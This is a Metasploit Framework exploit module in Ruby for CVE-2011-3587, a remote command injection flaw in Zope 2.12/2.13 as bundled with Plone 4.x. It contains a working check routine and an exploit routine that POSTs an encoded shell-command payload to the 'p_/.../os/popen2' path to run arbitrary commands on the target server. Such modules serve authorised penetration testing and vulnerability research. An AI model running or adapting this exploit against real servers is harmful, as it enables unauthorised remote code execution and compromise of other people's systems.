##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Plone and Zope Remote CMD Injection Exploit',
'Description' => %q{
Unspecified vulnerability in Zope 2.12.x and 2.13.x, as used in Plone 4.0.x
through 4.0.9, 4.1, and 4.2 through 4.2a2, allows remote attackers to execute
arbitrary commands via vectors related to the p_ class in OFS/misc_.py and
the use of Python modules.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Plone Security team', # Vulnerability discovery
'Nick Miles', # Original exploit
'TecR0c' # Metasploit module
],
'References' =>
[
['CVE', '2011-3587'],
['URL', 'http://www.exploit-db.com/exploits/18262/'],
['URL', 'http://plone.org/products/plone/security/advisories/20110928']
],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet perl ruby',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Oct 04 2011',
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(8080),
OptString.new('URI',[true, "The path to the Plone installation", "/"]),
],self.class)
register_autofilter_ports([ 8080 ])
end
def check
uri = datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2'
res = send_request_raw(
{
'uri' => uri
}, 25)
if (res.headers['Bobo-Exception-Type'] =~ /zExceptions.BadRequest/)
return Exploit::CheckCode::Vulnerable
end
# patched == zExceptions.NotFound
return Exploit::CheckCode::Safe
end
def exploit
uri = datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2'
send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'cmd' => payload.encoded,
}
}, 0.5) # short timeout, we don't care about the response
end
end
